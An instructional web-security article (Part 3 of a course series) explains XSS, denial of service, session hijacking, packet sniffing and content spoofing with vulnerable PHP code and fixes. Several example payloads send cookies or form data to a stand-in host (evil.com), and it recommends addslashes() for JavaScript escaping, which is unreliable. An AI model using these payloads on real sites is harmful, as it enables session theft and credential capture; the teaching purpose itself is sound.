Web Application Security, Part 3
This is Part 3 of the Web Application Security article, geared toward the material covered in Module 6. For material covered in Module 2 (HTML, CSS, and PHP), see Web Application Security, Part 1. For material covered in Module 3 (MySQL), see Web Application Security, Part 2.
Contents
Cross-Site Scripting
Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.
There are two types of XSS attacks: persistent and reflected.
Persistent XSS
Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.
For example, consider this code:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
echo "<p>".$row["content"]."</p>\n";
}
?>
In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker, a computer specialist on contract for BuyShoes.com, typed the following code into the shoutbox:
<script> document.location.href = "http:/www.BuyShoes.com/"; </script>
Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com! The shoe manufacturers will be pleased, but most everyone else will be annoyed. (Needless to say, XSS can be used for much more malicious things than rogue marketing.)
Reflected XSS
Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.
For example, consider the code:
<?php
echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";
?>
This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:
http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E
In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:
<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>
Aye yie yie!
Solution
Example 1: Persistent XSS
You need to escape the output. In PHP, you can do this using the htmlentities()
function:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
$safe = htmlentities($row["content"]);
echo "<p>".$safe."</p>\n";
}
?>
Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!
Example 2: Reflected XSS
We again need to escape output:
<?php
$html_safe_username = htmlentities($_GET['username']);
echo "<h1>Transaction History for: " . $html_safe_username . "</h1>\n";
?>
And now our Reflected XSS vulnerability has been put to rest.
Escaping for Non-HTML Output
htmlentities() and its charset-dependent cousin htmlspecialchars() escape output that is safe for HTML. THEY DO NOT RETURN STRINGS THAT ARE SAFE FOR INCLUSION IN JAVASCRIPT OR CSS. For example, the following page is vulnerable to an XSS attack:
<?php
$html_safe_color = htmlentities($_GET['color']);
printf("<style type='text/css'> #box{ color: %s; } </style>", $html_safe_color);
?>
The expected input would probably be something like #ff0033
(an 8-bit RGB color). However, an attacker could feed the following string into $_GET['color']:
#ff0033; z-index:100; top:0; left:0; bottom:0; right:0; position:fixed; background-image:url(http://www.buyshoes.com/ad.png)
The resulting output would be:
<style type="text/css"> #box{ color: #ff0033; z-index:100; top:0; left:0; bottom:0; right:0;
position:fixed; background-image:url(http://www.buyshoes.com/ad.png); } </style>
This would create an advertisement for shoes that would fill the entire browser screen and never go away!
Solution: How to Sanitize Non-HTML Output
Whenever you give output from PHP, you need to remember the context in which the output is going. In the CSS proof of concept above, since you know the format you're expecting for the color, the solution would have been to run the color through a regular expression:
<?php
$safe_color = preg_match('/^\#[0-9a-f]{6}$/', $_GET['color']) ? $_GET['color'] : "#000000";
printf("<style type='text/css'> #box{ color: %s; } </style>", $safe_color);
?>
A helpful function for escaping in JavaScript input is addslashes().
Real-Life Examples
- F-Secure, McAfee, and Symantec, January 2012 (Reflected XSS)
- eBay Germany, August 2011 (Reflected XSS)
- Facebook, April 2011 (Persistent XSS)
- PayPal, October 2010 (Reflected XSS)
- American Express, October 2010 (Reflected XSS)
- Twitter, September 2010 (Persistent XSS)
Further Reading
This section serves to give you general best practices for preventing XSS. However, it does not cover all cases. For a more comprehensive coverage of XSS cases, see https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Denial of Service
Denial of Service (DoS) is probably the most widely used attack vector to date, and the one employed by hacktivist groups like Anonymous. The concept is simple: flood a target server with more requests than it can possibly handle, resulting in server downtime.
A Distributed Denial of Service (DDoS) attack is a special kind of Denial of Service attack that involves multiple, unrelated machines sending requests to the server simultaneously. DDoS attacks are more powerful than "un-distributed" DoS attacks because there are dozens, hundreds, even thousands of machines, all with different IP addresses, all requesting data from your server at the same time; in DoS attacks, there is only one computer doing the attacking. Hacking groups are known to have millions of machines around the world ready to perform a DDoS attack on command. It's a very interesting topic to Google about, but beware that you might spend several hours reading web sites if you start!
There are two flavors that a DoS attack can take:
- Bandwidth-based: Saturate the connectivity link.
- Packet-based: Saturate the processing capability of the equipment.
Mitigating DoS Attacks
Unlike the other types of attacks we've discussed (or will soon be discussing), DoS attacks cannot usually be prevented by good coding practices. Here are some tips that should help:
- Always keep the most up-to-date software on your server and firmware on your router (if applicable).
- If you represent a firm with a lot of resources, anycast may be an option. Rather than having your site hosted in just one server, the load of your site will be shared between many different servers. Anycast systems are expensive, but they help fend off non-hardcore DoS attacks.
- You can set up a constellation of reverse proxy nodes. You might also benefit from using a web server like Nginx instead of Apache. For more information on constellation reverse proxy nodes, see: http://blog.unixy.net/2010/08/the-penultimate-guide-to-stopping-a-ddos-attack-a-new-approach/
- Limit things like file upload size and CGI scripts. These are known to be easy targets for DoS attacks.
In short, DoS attacks are not pretty, and there's not any sure-fire way to prevent them. Just do your best and hope that you don't get attacked by DoS.
Real-Life Examples
Session Hijacking
Session Hijacking is when an attacker captures an established session identifier, and then uses that identifier to browse the targeted site under the victim’s identity. The capturing process is often done via XSS. For instance, suppose Dr. Evil posted the following comment in a Shoutbox:
How about them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?" + encodeURIComponent(document.cookie); </script>
Everyone viewing the shoutbox will now see Dr. Evil's shout, but they will also unwittingly have their cookies sent to Dr. Evil's server. Since cookies contain the Session ID, Dr. Evil can use that Session ID to surf the targeted site under anyone's identity.
Solution
First, prevent XSS. Once you've done that, there are some extra things you can do to fend off session hijackers.
HTTP-Only Cookies
The first is to use the HTTP Only option on cookies, which prevents cookies from being read by JavaScript (and therefore by XSS). To do this, you can change the session.cookie_httponly
option in php.ini, or you can just use ini_set()
before you start your session:
<?php
ini_set("session.cookie_httponly", 1);
session_start();
?>
Disclaimer: The HTTP Only option is relatively new in browsers, so customers using older browsers will not enjoy the extra protection.
User Agent Consistency
A second thing you can do to help prevent session hijacking is to check the HTTP User Agent between requests. Since cookies are sandboxed inside a browser, and a browser's user agent doesn't change unless it is rebooted (except in edge cases), then the user agent should always be consistent throughout a session.
You can test for HTTP User Agent consistency like this:
<?php
session_start();
$previous_ua = @$_SESSION['useragent'];
$current_ua = $_SERVER['HTTP_USER_AGENT'];
if(isset($_SESSION['useragent']) && $previous_ua !== $current_ua){
die("Session hijack detected");
}else{
$_SESSION['useragent'] = $current_ua;
}
?>
Session Fixation
One word you might hear in the web application security community is session fixation. In many ways, this is the opposite of session hijacking: rather than the attacker taking on the victim's identity, the attacker forces the victim into taking on an identity of the attacker's choice.
Fortunately, PHP's cookie-based sessions are not as vulnerable to session fixation attacks as are sessions that are passed through the URL. The same measures that you use to prevent session hijacking should also prevent session fixation.
There is one thing you can do to help mitigate session fixation, though, and it's also good practice: change the name of the default PHP session ID cookie. To do this, use the function session_name() in PHP, or change the session.name directive in php.ini.
Real-Life Examples
Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.
On the other hand, packet-sniffing session hijacking attacks have numerous examples.
Packet Sniffing
HTTP Packet Sniffing is a fundamental web attack that has been known for a long time, but it was never widely exploited. Essentially, the attacker can listen on his current WiFi connection for packets going in and out, then either act as a "man in the middle" to either perpetuate a Content Spoofing attack or just hijack the victim's session. (This is when user agent testing would prove helpful.) The Firesheep plugin for Firefox makes it easy to perform Packet Sniffing attacks yourself: just go to Starbuck's, open up Firesheep, and you can hijack anyone's session who is on the same public WiFi. Scary.
Solution
The best and easiest way to prevent packet sniffing is to secure your site with an SSL certificate (https). This will cause each request to perform handshakes, preventing Man-in-the-Middle attacks. Unfortunately, SSL certificates are not free; you can expect to pay around $100 per year for a small web site. Because of the handshakes, they also consume slightly more resources. However, if your site controls sensitive data from users (e.g. credit card information), an SSL certificate is a must.
Real-Life Examples
Any web site that does not use the HTTPS protocol is vulnerable to packet sniffing attacks. After the release of applications like Faceniff and Firesheep, high-profile sites have switched to using the HTTPS protocol by default:
Content Spoofing
Content Spoofing is when an attacker attempts to mimic the functionality on your site. Phishing is when an attacker uses content spoofing to mine information from victims. For example, victims may log in to the attacker's site, believing that it is your site, giving the attacker the victims' usernames and passwords.
Content spoofing is frequently performed by using misleading URLs. For instance, consider the following:
- www.bank.com.tr/ansfer.php
- www.bank.com/transfer.php
However, content spoofing can also be performed when there is an XSS vulnerability in your site. If the XSS is Reflected, the injected code could forward to an attacker's site, even though the link belongs to your site. If the XSS is Persistent, the attacker could either re-write your site or simply modify the Form prototype to send all form data to the attacker's server before submitting the form (that is, at least when the form is submitted using JavaScript):
<script> var old_sub=HTMLFormElement.prototype.submit; HTMLFormElement.prototype.submit = function(){ new Image().src = "http://www.evil.com/?"+encodeURIComponent(this.innerHTML); old_sub.apply(this, arguments); } </script>
Worse yet, the attacker could just change the "action" on the form to simply send the information to his servers instead of to your servers. Do you see now how preventing XSS will also prevent several other types of web application attack vectors?
Solution
Content Spoofing is largely out of your control as a web developer. You should give users a way to confirm that your site is legitimate. For example, when logging in to your site, you could have users put in their username first, then show the user a picture associated with their account before asking them to put in their password.